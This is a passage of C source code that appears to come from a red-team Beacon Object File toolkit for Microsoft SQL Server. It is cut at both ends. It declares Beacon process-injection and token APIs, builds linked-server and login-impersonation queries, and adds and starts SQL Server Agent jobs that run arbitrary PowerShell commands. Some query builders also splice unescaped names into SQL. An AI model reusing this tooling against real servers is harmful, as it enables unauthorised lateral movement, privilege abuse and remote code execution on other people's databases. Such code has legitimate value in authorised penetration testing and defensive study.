| DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 50 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 51 | 52 | /* Token Functions */ 53 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 54 | DECLSPEC_IMPORT void BeaconRevertToken(); 55 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 56 | 57 | /* Spawn+Inject Functions */ 58 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 59 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 61 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 62 | 63 | /* Utility Functions */ 64 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 65 | #endif 66 | -------------------------------------------------------------------------------- /src/common/bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen) 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #ifdef BOF 21 | 22 | // KERNEL32 23 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); 24 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 25 | WINBASEAPI int WINAPI Kernel32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); 26 | WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID); 27 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 28 | WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 29 | WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); 30 | 31 | 32 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 33 | #define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) 34 | 35 | // MSVCRT 36 | WINBASEAPI int __cdecl MSVCRT$atoi(const char *_Str); 37 | WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); 38 | WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); 39 | WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); 40 | WINBASEAPI int __cdecl MSVCRT$rand(void); 41 | WINBASEAPI int __cdecl MSVCRT$srand(unsigned int _Seed); 42 | WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); 43 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source); 44 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); 45 | WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); 46 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strncat(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count); 47 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strncpy(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count); 48 | WINBASEAPI time_t __cdecl MSVCRT$time(time_t *_Time); 49 | WINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg); 50 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src); 51 | 52 | 53 | // ODBC32 54 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLAllocHandle(SQLSMALLINT HandleType, SQLHANDLE InputHandle, SQLHANDLE* OutputHandlePtr); 55 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLCloseCursor(SQLHSTMT StatementHandle); 56 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLDescribeCol(SQLHSTMT StatementHandle, SQLUSMALLINT ColumnNumber, SQLCHAR* ColumnName, SQLSMALLINT BufferLength, SQLSMALLINT* NameLengthPtr, SQLSMALLINT* DataTypePtr, SQLULEN* ColumnSizePtr, SQLSMALLINT* DecimalDigitsPtr, SQLSMALLINT* NullablePtr); 57 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLDisconnect(SQLHDBC ConnectionHandle); 58 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLDriverConnect(SQLHDBC ConnectionHandle, SQLHWND WindowHandle, SQLCHAR* InConnectionString, SQLSMALLINT StringLength1, SQLCHAR* OutConnectionString, SQLSMALLINT BufferLength, SQLSMALLINT* StringLength2Ptr, SQLUSMALLINT DriverCompletion); 59 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLExecDirect(SQLHSTMT StatementHandle, SQLCHAR* StatementText, SQLINTEGER TextLength); 60 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLFetch(SQLHSTMT StatementHandle); 61 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLFreeHandle(SQLSMALLINT HandleType, SQLHANDLE Handle); 62 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLGetData(SQLHSTMT StatementHandle, SQLUSMALLINT ColumnNumber, SQLSMALLINT TargetType, SQLPOINTER TargetValuePtr, SQLLEN BufferLength, SQLLEN* StrLen_or_IndPtr); 63 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLGetDiagRec(SQLSMALLINT HandleType, SQLHANDLE Handle, SQLSMALLINT RecNumber, SQLCHAR* Sqlstate, SQLINTEGER* NativeErrorPtr, SQLCHAR* MessageText, SQLSMALLINT BufferLength, SQLSMALLINT* TextLengthPtr); 64 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLNumResultCols(SQLHSTMT StatementHandle, SQLSMALLINT* ColumnCountPtr); 65 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLMoreResults(SQLHSTMT StatementHandle); 66 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLSetEnvAttr(SQLHENV EnvironmentHandle, SQLINTEGER Attribute, SQLPOINTER ValuePtr, SQLINTEGER StringLength); 67 | WINBASEAPI SQL_API SQLRETURN ODBC32$SQLSetStmtAttr(SQLHSTMT StatementHandle, SQLINTEGER Attribute, SQLPOINTER Value, SQLINTEGER StringLength); 68 | 69 | #else 70 | 71 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 72 | #define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) 73 | 74 | 75 | // KERNEL32 76 | #define KERNEL32$CloseHandle CloseHandle 77 | #define KERNEL32$CreateThread CreateThread 78 | #define Kernel32$WideCharToMultiByte WideCharToMultiByte 79 | #define KERNEL32$HeapFree HeapFree 80 | #define KERNEL32$GetProcessHeap GetProcessHeap 81 | #define KERNEL32$HeapAlloc HeapAlloc 82 | #define KERNEL32$WaitForSingleObject WaitForSingleObject 83 | 84 | 85 | // MSVCRT 86 | #define MSVCRT$atoi atoi 87 | #define MSVCRT$calloc calloc 88 | #define MSVCRT$free free 89 | #define MSVCRT$malloc malloc 90 | #define MSVCRT$rand rand 91 | #define MSVCRT$srand srand 92 | #define MSVCRT$sprintf sprintf 93 | #define MSVCRT$strcat strcat 94 | #define MSVCRT$strcmp strcmp 95 | #define MSVCRT$strlen strlen 96 | #define MSVCRT$strncat strncat 97 | #define MSVCRT$strncpy strncpy 98 | #define MSVCRT$time time 99 | #define MSVCRT$vsnprintf vsnprintf 100 | #define MSVCRT$strcpy strcpy 101 | 102 | // ODBC32 103 | #define ODBC32$SQLAllocHandle SQLAllocHandle 104 | #define ODBC32$SQLCloseCursor SQLCloseCursor 105 | #define ODBC32$SQLDescribeCol SQLDescribeCol 106 | #define ODBC32$SQLDisconnect SQLDisconnect 107 | #define ODBC32$SQLDriverConnect SQLDriverConnect 108 | #define ODBC32$SQLExecDirect SQLExecDirect 109 | #define ODBC32$SQLFetch SQLFetch 110 | #define ODBC32$SQLFreeHandle SQLFreeHandle 111 | #define ODBC32$SQLGetData SQLGetData 112 | #define ODBC32$SQLGetDiagRec SQLGetDiagRec 113 | #define ODBC32$SQLNumResultCols SQLNumResultCols 114 | #define ODBC32$SQLMoreResults SQLMoreResults 115 | #define ODBC32$SQLSetEnvAttr SQLSetEnvAttr 116 | #define ODBC32$SQLSetStmtAttr SQLSetStmtAttr 117 | 118 | #endif 119 | -------------------------------------------------------------------------------- /src/common/sql.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "bofdefs.h" 4 | 5 | 6 | // 7 | // prints a SQL error message 8 | // 9 | void ShowError(unsigned int handletype, const SQLHANDLE* handle) 10 | { 11 | SQLCHAR sqlstate[1024]; 12 | SQLCHAR message[1024]; 13 | if (SQL_SUCCESS == ODBC32$SQLGetDiagRec(handletype, (SQLHANDLE)handle, 1, sqlstate, NULL, message, 1024, NULL)) 14 | { 15 | internal_printf("[-] Message: %s \n[-] SQL State: %s\n", message, sqlstate); 16 | } 17 | } 18 | 19 | // 20 | // Actual query execution 21 | // 22 | BOOL ExecuteQuery(SQLHSTMT stmt, SQLCHAR* query) 23 | { 24 | SQLRETURN ret; 25 | //internal_printf("Executing query: %s\n", query); 26 | //BeaconPrintf(CALLBACK_OUTPUT, "Executing query: %s\n", query); 27 | 28 | ret = ODBC32$SQLExecDirect(stmt, query, SQL_NTS); 29 | if (!SQL_SUCCEEDED(ret)) 30 | { 31 | internal_printf("[!] Error executing query\n"); 32 | ShowError(SQL_HANDLE_STMT, stmt); 33 | return FALSE; 34 | } 35 | 36 | return TRUE; 37 | } 38 | 39 | // 40 | // 41 | // 42 | BOOL ExecuteLQueryRpc(SQLHSTMT stmt, SQLCHAR* query, char* link) 43 | { 44 | // 45 | // Replace single quotes with double single quotes 46 | // 47 | int count = 0; 48 | char* ptr = (char*)query; 49 | while (*ptr) { 50 | if (*ptr == '\'') { 51 | count++; 52 | } 53 | ptr++; 54 | } 55 | 56 | char* editedQuery = (char*)intAlloc((MSVCRT$strlen((char*)query) + count + 1) * sizeof(char)); 57 | char* newPtr = editedQuery; 58 | ptr = (char*)query; 59 | 60 | while (*ptr) { 61 | if (*ptr == '\'') { 62 | *newPtr++ = '\''; 63 | *newPtr++ = '\''; 64 | } else { 65 | *newPtr++ = *ptr; 66 | } 67 | ptr++; 68 | } 69 | *newPtr = '\0'; 70 | 71 | char* prefix = "EXECUTE ('"; 72 | char* suffix = "') AT "; 73 | char* querySuffix = ";"; 74 | 75 | // append prefix, query, suffix, link, querySuffix 76 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen((char*)editedQuery) + MSVCRT$strlen(suffix) + MSVCRT$strlen(link) + MSVCRT$strlen(querySuffix) + 1; 77 | char* lQuery = (char*)intAlloc(totalSize * sizeof(char)); 78 | MSVCRT$strcpy(lQuery, prefix); 79 | MSVCRT$strncat(lQuery, (char*)editedQuery, totalSize - MSVCRT$strlen(lQuery) - 1); 80 | MSVCRT$strncat(lQuery, suffix, totalSize - MSVCRT$strlen(lQuery) - 1); 81 | MSVCRT$strncat(lQuery, link, totalSize - MSVCRT$strlen(lQuery) - 1); 82 | MSVCRT$strncat(lQuery, querySuffix, totalSize - MSVCRT$strlen(lQuery) - 1); 83 | 84 | BOOL result = ExecuteQuery(stmt, (SQLCHAR*)lQuery); 85 | 86 | intFree(editedQuery); 87 | intFree(lQuery); 88 | 89 | return result; 90 | } 91 | 92 | // 93 | // Preps a linked query and calls ExecuteQuery 94 | // 95 | BOOL ExecuteLQuery(SQLHSTMT stmt, SQLCHAR* query, char* link) 96 | { 97 | // 98 | // Replace single quotes with double single quotes 99 | // 100 | int count = 0; 101 | char* ptr = (char*)query; 102 | while (*ptr) { 103 | if (*ptr == '\'') { 104 | count++; 105 | } 106 | ptr++; 107 | } 108 | 109 | char* editedQuery = (char*)intAlloc((MSVCRT$strlen((char*)query) + count + 1) * sizeof(char)); 110 | char* newPtr = editedQuery; 111 | ptr = (char*)query; 112 | 113 | while (*ptr) { 114 | if (*ptr == '\'') { 115 | *newPtr++ = '\''; 116 | *newPtr++ = '\''; 117 | } else { 118 | *newPtr++ = *ptr; 119 | } 120 | ptr++; 121 | } 122 | *newPtr = '\0'; 123 | 124 | char* linkPrefix = "SELECT * FROM OPENQUERY(\""; 125 | char* linksuffix = "\", '"; 126 | char* querySuffix = "')"; 127 | 128 | // append linkPrefix, link, linksuffix, query, querySuffix 129 | size_t totalSize = MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(link) + MSVCRT$strlen(linksuffix) + MSVCRT$strlen((char*)editedQuery) + MSVCRT$strlen(querySuffix) + 1; 130 | char* lQuery = (char*)intAlloc(totalSize * sizeof(char)); 131 | 132 | MSVCRT$strcpy(lQuery, linkPrefix); 133 | MSVCRT$strncat(lQuery, link, totalSize - MSVCRT$strlen(lQuery) - 1); 134 | MSVCRT$strncat(lQuery, linksuffix, totalSize - MSVCRT$strlen(lQuery) - 1); 135 | MSVCRT$strncat(lQuery, (char*)editedQuery, totalSize - MSVCRT$strlen(lQuery) - 1); 136 | MSVCRT$strncat(lQuery, querySuffix, totalSize - MSVCRT$strlen(lQuery) - 1); 137 | 138 | BOOL result = ExecuteQuery(stmt, (SQLCHAR*)lQuery); 139 | 140 | intFree(editedQuery); 141 | intFree(lQuery); 142 | 143 | return result; 144 | } 145 | 146 | // 147 | // Preps and impersonated query and calls ExecuteQuery 148 | // 149 | BOOL ExecuteIQuery(SQLHSTMT stmt, SQLCHAR* query, char* impersonate) 150 | { 151 | char* prefix = "EXECUTE AS LOGIN = '"; 152 | char* suffix = "'; "; 153 | 154 | // append prefix, impersonate, suffix and query 155 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(impersonate) + MSVCRT$strlen(suffix) + MSVCRT$strlen((char*)query) + 1; 156 | char* iQuery = (char*)intAlloc(totalSize * sizeof(char)); 157 | MSVCRT$strcpy(iQuery, prefix); 158 | MSVCRT$strncat(iQuery, impersonate, totalSize - MSVCRT$strlen(iQuery) - 1); 159 | MSVCRT$strncat(iQuery, suffix, totalSize - MSVCRT$strlen(iQuery) - 1); 160 | MSVCRT$strncat(iQuery, (char*)query, totalSize - MSVCRT$strlen(iQuery) - 1); 161 | 162 | BOOL result = ExecuteQuery(stmt, (SQLCHAR*)iQuery); 163 | 164 | intFree(iQuery); 165 | 166 | return result; 167 | } 168 | 169 | // 170 | // Main query handler to detemine if running standard, linked, or impersonated query 171 | // (for BOFs that support more than just standard queries) 172 | // 173 | BOOL HandleQuery(SQLHSTMT stmt, SQLCHAR* query, char* link, char* impersonate, BOOL useRpc) 174 | { 175 | //internal_printf("Query: %s\n", query); 176 | if (link != NULL) 177 | { 178 | if (useRpc) 179 | { 180 | return ExecuteLQueryRpc(stmt, query, link); 181 | } 182 | else 183 | { 184 | return ExecuteLQuery(stmt, query, link); 185 | } 186 | } 187 | else if (impersonate != NULL) 188 | { 189 | return ExecuteIQuery(stmt, query, impersonate); 190 | } 191 | else 192 | { 193 | return ExecuteQuery(stmt, query); 194 | } 195 | } 196 | 197 | // 198 | // As part of a workaround for Linked RPC Query funkiness, this function 199 | // will resolve the Schema of a table name on a linked server, so that it can 200 | // be hardcoded into subsequent RPC queries in the form [database].[schema].[table] 201 | // 202 | BOOL GetTableShema(SQLHSTMT stmt, char* link, char* database, char* table) 203 | { 204 | char* prefix = "SELECT TABLE_SCHEMA FROM "; 205 | char* middle = ".INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '"; 206 | char* suffix = "';"; 207 | 208 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(middle) + MSVCRT$strlen(table) + MSVCRT$strlen(suffix) + 1; 209 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 210 | 211 | MSVCRT$strcpy(query, prefix); 212 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 213 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 214 | MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1); 215 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 216 | 217 | BOOL result = ExecuteLQuery(stmt, (SQLCHAR*)query, link); 218 | 219 | intFree(query); 220 | 221 | return result; 222 | } 223 | 224 | 225 | 226 | // 227 | // Clear the cursor so it can be closed without a 24000 Invalid Cursor State error 228 | // Doesn't seem to be an issue unless executing multiple linked queries in succession 229 | // https://learn.microsoft.com/en-us/sql/odbc/reference/syntax/sqlclosecursor-function?view=sql-server-ver16 230 | // 231 | void ClearCursor(SQLHSTMT stmt) 232 | { 233 | // 234 | // Probably not the cleanest to assume success but 235 | // 236 | SQLRETURN ret = SQL_SUCCESS; 237 | 238 | // 239 | // Fetch all results to clear the cursor 240 | // 241 | while(ret == SQL_SUCCESS || ret == SQL_SUCCESS_WITH_INFO) { 242 | ODBC32$SQLFetch(stmt); 243 | ret = ODBC32$SQLMoreResults(stmt); 244 | } 245 | } 246 | 247 | 248 | // 249 | // Check if link and impersonate were provided (can't use both) 250 | // 251 | BOOL UsingLinkAndImpersonate(char* link, char* impersonate) 252 | { 253 | if (link != NULL && impersonate != NULL) 254 | { 255 | internal_printf("[!] Cannot use both link and impersonate.\n"); 256 | printoutput(TRUE); 257 | return TRUE; 258 | } 259 | 260 | // linked server usage will be printed in the individual BOFs 261 | if (impersonate != NULL) 262 | { 263 | internal_printf("[*] Using impersonation: %s\n", impersonate); 264 | } 265 | 266 | return FALSE; 267 | } 268 | 269 | // 270 | // returns an array of results (1st column only) 271 | // 272 | char** GetMultipleResults(SQLHSTMT stmt, BOOL hasHeader) 273 | { 274 | char** results = (char**)intAlloc(1024 * sizeof(char*)); 275 | SQLCHAR buf[1024]; 276 | SQLLEN indicator; 277 | int i = 0; 278 | 279 | while (ODBC32$SQLFetch(stmt) == SQL_SUCCESS) 280 | { 281 | ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, sizeof(buf), &indicator); 282 | if (hasHeader && i == 0) 283 | { 284 | i++; 285 | continue; 286 | } 287 | results[i] = (char*)intAlloc((MSVCRT$strlen((char*)buf) + 1) * sizeof(char)); 288 | MSVCRT$strcpy(results[i], (char*)buf); 289 | i++; 290 | } 291 | results[i] = NULL; // Null terminate the array 292 | return results; 293 | } 294 | 295 | // 296 | // returns a single result (1st column/1st row only) 297 | // 298 | char* GetSingleResult(SQLHSTMT stmt, BOOL hasHeader) 299 | { 300 | SQLCHAR* buf = (SQLCHAR*)intAlloc(1024 * sizeof(SQLCHAR)); 301 | SQLLEN indicator; 302 | SQLRETURN ret; 303 | 304 | ret = ODBC32$SQLFetch(stmt); 305 | if (!SQL_SUCCEEDED(ret)) 306 | { 307 | internal_printf("[!] Error fetching results\n"); 308 | return NULL; 309 | } 310 | 311 | ret = ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, 1024, &indicator); 312 | if (!SQL_SUCCEEDED(ret)) 313 | { 314 | internal_printf("[!] Error retrieving data\n"); 315 | return NULL; 316 | } 317 | 318 | if (hasHeader) 319 | { 320 | ret = ODBC32$SQLFetch(stmt); 321 | if (!SQL_SUCCEEDED(ret)) 322 | { 323 | internal_printf("[!] Error fetching results\n"); 324 | return NULL; 325 | } 326 | 327 | ret = ODBC32$SQLGetData(stmt, 1, SQL_C_CHAR, buf, 1024, &indicator); 328 | if (!SQL_SUCCEEDED(ret)) 329 | { 330 | internal_printf("[!] Error retrieving data\n"); 331 | return NULL; 332 | } 333 | } 334 | return (char*)buf; 335 | } 336 | 337 | // 338 | // prints the results of a query 339 | // 340 | BOOL PrintQueryResults(SQLHSTMT stmt, BOOL hasHeader) 341 | { 342 | SQLSMALLINT columns; 343 | SQLRETURN ret; 344 | 345 | // Get the number of columns in the result set 346 | ret = ODBC32$SQLNumResultCols(stmt, &columns); 347 | if (!SQL_SUCCEEDED(ret)) 348 | { 349 | internal_printf("Error retrieving column count\n"); 350 | return FALSE; 351 | } 352 | 353 | SQLCHAR buffer[1024]; 354 | SQLSMALLINT columnNameLength, dataType, decimalDigits, nullable; 355 | SQLULEN columnSize; 356 | int totalLength = 0; 357 | 358 | // Print column headers 359 | if (hasHeader) 360 | { 361 | for (SQLSMALLINT i = 1; i <= columns; i++) 362 | { 363 | ret = ODBC32$SQLDescribeCol(stmt, i, buffer, sizeof(buffer), &columnNameLength, &dataType, &columnSize, &decimalDigits, &nullable); 364 | if (!SQL_SUCCEEDED(ret)) 365 | { 366 | internal_printf("Error retrieving column information.\n"); 367 | return FALSE; 368 | } 369 | internal_printf("%s | ", buffer); 370 | totalLength += columnNameLength + 3; 371 | } 372 | 373 | internal_printf("\n"); 374 | for (int i = 0; i < totalLength; i++) 375 | { 376 | internal_printf("-"); 377 | } 378 | internal_printf("\n"); 379 | } 380 | 381 | // Iterate over each row 382 | while (SQL_SUCCEEDED(ret = ODBC32$SQLFetch(stmt))) 383 | { 384 | // Iterate over each column 385 | for (SQLSMALLINT i = 1; i <= columns; i++) 386 | { 387 | SQLLEN indicator; 388 | // Retrieve column data 389 | ret = ODBC32$SQLGetData(stmt, i, SQL_C_CHAR, buffer, sizeof(buffer), &indicator); 390 | if (SQL_SUCCEEDED(ret)) 391 | { 392 | // Print column data 393 | if (indicator == SQL_NULL_DATA) MSVCRT$strcpy((char*)buffer, ""); 394 | internal_printf("%s | ", buffer); 395 | } 396 | } 397 | internal_printf("\n"); 398 | } 399 | } 400 | 401 | // 402 | // connects to a SQL server 403 | // 404 | SQLHDBC ConnectToSqlServer(SQLHENV* env, char* server, char* dbName) 405 | { 406 | SQLRETURN ret; 407 | SQLCHAR connstr[1024]; 408 | SQLHDBC dbc = NULL; 409 | 410 | // 411 | // Allocate an environment handle and set ODBC version 412 | // 413 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, env); 414 | if (!SQL_SUCCEEDED(ret)) 415 | { 416 | internal_printf("[-] Error allocating environment handle\n"); 417 | ShowError(SQL_HANDLE_ENV, *env); 418 | return NULL; 419 | } 420 | 421 | ret = ODBC32$SQLSetEnvAttr(*env, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0); 422 | if (!SQL_SUCCEEDED(ret)) 423 | { 424 | internal_printf("[-] Error setting ODBC version\n"); 425 | ShowError(SQL_HANDLE_ENV, *env); 426 | return NULL; 427 | } 428 | 429 | // 430 | // Allocate a connection handle 431 | // 432 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_DBC, *env, &dbc); 433 | if (!SQL_SUCCEEDED(ret)) 434 | { 435 | internal_printf("[-] Error allocating connection handle\n"); 436 | ShowError(SQL_HANDLE_ENV, *env); 437 | return NULL; 438 | } 439 | 440 | // 441 | // dbName may be NULL when a linked server is used 442 | // 443 | if (dbName == NULL) 444 | { 445 | MSVCRT$sprintf((char*)connstr, "DRIVER={SQL Server};SERVER=%s;Trusted_Connection=Yes;", server); 446 | } 447 | else 448 | { 449 | MSVCRT$sprintf((char*)connstr, "DRIVER={SQL Server};SERVER=%s;DATABASE=%s;Trusted_Connection=Yes;", server, dbName); 450 | } 451 | 452 | 453 | // 454 | // connect to the sql server 455 | // 456 | internal_printf("[*] Connecting to %s:1433\n", server); 457 | ret = ODBC32$SQLDriverConnect(dbc, NULL, connstr, SQL_NTS, NULL, 0, NULL, SQL_DRIVER_COMPLETE); 458 | if (!SQL_SUCCEEDED(ret)) 459 | { 460 | internal_printf("[-] Error connecting to database\n"); 461 | ShowError(SQL_HANDLE_DBC, dbc); 462 | return NULL; 463 | } 464 | 465 | internal_printf("[+] Successfully connected to database\n"); 466 | return dbc; 467 | } 468 | 469 | // 470 | // closes the connection to a SQL server 471 | // 472 | void DisconnectSqlServer(SQLHENV env, SQLHDBC dbc, SQLHSTMT stmt) 473 | { 474 | SQLRETURN ret; 475 | internal_printf("\n[*] Disconnecting from server\n"); 476 | 477 | if (stmt != NULL) 478 | { 479 | // 480 | // free the statement handle 481 | // 482 | ret = ODBC32$SQLFreeHandle(SQL_HANDLE_STMT, stmt); 483 | if (!SQL_SUCCEEDED(ret)) 484 | { 485 | internal_printf("[-] Error freeing statement handle\n"); 486 | ShowError(SQL_HANDLE_STMT, stmt); 487 | } 488 | } 489 | 490 | if (dbc != NULL) 491 | { 492 | // 493 | // disconnect from the server 494 | // 495 | ret = ODBC32$SQLDisconnect(dbc); 496 | if (!SQL_SUCCEEDED(ret)) 497 | { 498 | internal_printf("[-] Error disconnecting from server\n"); 499 | ShowError(SQL_HANDLE_DBC, dbc); 500 | } 501 | 502 | // 503 | // free the connection handle 504 | // 505 | ret = ODBC32$SQLFreeHandle(SQL_HANDLE_DBC, dbc); 506 | if (!SQL_SUCCEEDED(ret)) 507 | { 508 | internal_printf("[-] Error freeing connection handle\n"); 509 | ShowError(SQL_HANDLE_DBC, dbc); 510 | } 511 | } 512 | 513 | if (env != NULL) 514 | { 515 | // 516 | // free the environment handle 517 | // 518 | ret = ODBC32$SQLFreeHandle(SQL_HANDLE_ENV, env); 519 | if (!SQL_SUCCEEDED(ret)) 520 | { 521 | internal_printf("[-] Error freeing environment handle\n"); 522 | ShowError(SQL_HANDLE_ENV, env); 523 | } 524 | } 525 | 526 | } -------------------------------------------------------------------------------- /src/common/sql_agent.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "sql.h" 4 | 5 | 6 | BOOL IsAgentRunning(SQLHSTMT stmt, char* link, char* impersonate) 7 | { 8 | BOOL running = FALSE; 9 | 10 | char* query = "SELECT dss.[status_desc] FROM sys.dm_server_services dss " 11 | "WHERE dss.[servicename] LIKE 'SQL Server Agent (%';"; 12 | 13 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 14 | { 15 | internal_printf("[-] Error while querying SQL Server Agent status\n"); 16 | return FALSE; 17 | } 18 | 19 | char* result = GetSingleResult(stmt, FALSE); 20 | 21 | if (result != NULL && MSVCRT$strcmp(result, "Running") == 0) 22 | { 23 | running = TRUE; 24 | } 25 | 26 | intFree(result); 27 | return running; 28 | } 29 | 30 | BOOL GetAgentJobs(SQLHSTMT stmt, char* link, char* impersonate) 31 | { 32 | char* query = "SELECT job_id, name, enabled, date_created, date_modified " 33 | "FROM msdb.dbo.sysjobs ORDER BY date_created"; 34 | 35 | return HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE); 36 | } 37 | 38 | BOOL AddAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* command, char* jobName, char* stepName) 39 | { 40 | 41 | char* part1 = "use msdb; EXEC dbo.sp_add_job @job_name = '"; 42 | char* part2 = "'; EXEC sp_add_jobstep @job_name = '"; 43 | char* part3 = "', @step_name = '"; 44 | char* part4 = "', @subsystem = 'PowerShell', @command = '"; 45 | char* part5 = "', @retry_attempts = 1, @retry_interval = 5; EXEC dbo.sp_add_jobserver @job_name = '"; 46 | char* part6 = "';"; 47 | 48 | size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(jobName) + MSVCRT$strlen(part2) + MSVCRT$strlen(jobName) + MSVCRT$strlen(part3) + MSVCRT$strlen(stepName) + MSVCRT$strlen(part4) + MSVCRT$strlen(command) + MSVCRT$strlen(part5) + MSVCRT$strlen(jobName) + MSVCRT$strlen(part6) + 1; 49 | char* query = (char*)intAlloc(totalSize); 50 | 51 | MSVCRT$strcpy(query, part1); 52 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 53 | MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1); 54 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 55 | MSVCRT$strncat(query, part3, totalSize - MSVCRT$strlen(query) - 1); 56 | MSVCRT$strncat(query, stepName, totalSize - MSVCRT$strlen(query) - 1); 57 | MSVCRT$strncat(query, part4, totalSize - MSVCRT$strlen(query) - 1); 58 | MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1); 59 | MSVCRT$strncat(query, part5, totalSize - MSVCRT$strlen(query) - 1); 60 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 61 | MSVCRT$strncat(query, part6, totalSize - MSVCRT$strlen(query) - 1); 62 | 63 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 64 | intFree(query); 65 | return result; 66 | } 67 | 68 | BOOL ExecuteAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* jobName) 69 | { 70 | char* prefix = "use msdb; EXEC dbo.sp_start_job @job_name = '"; 71 | char* suffix = "'; WAITFOR DELAY '00:00:05';"; 72 | 73 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(jobName) + MSVCRT$strlen(suffix) + 1; 74 | char* query = (char*)intAlloc(totalSize); 75 | 76 | MSVCRT$strcpy(query, prefix); 77 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 78 | 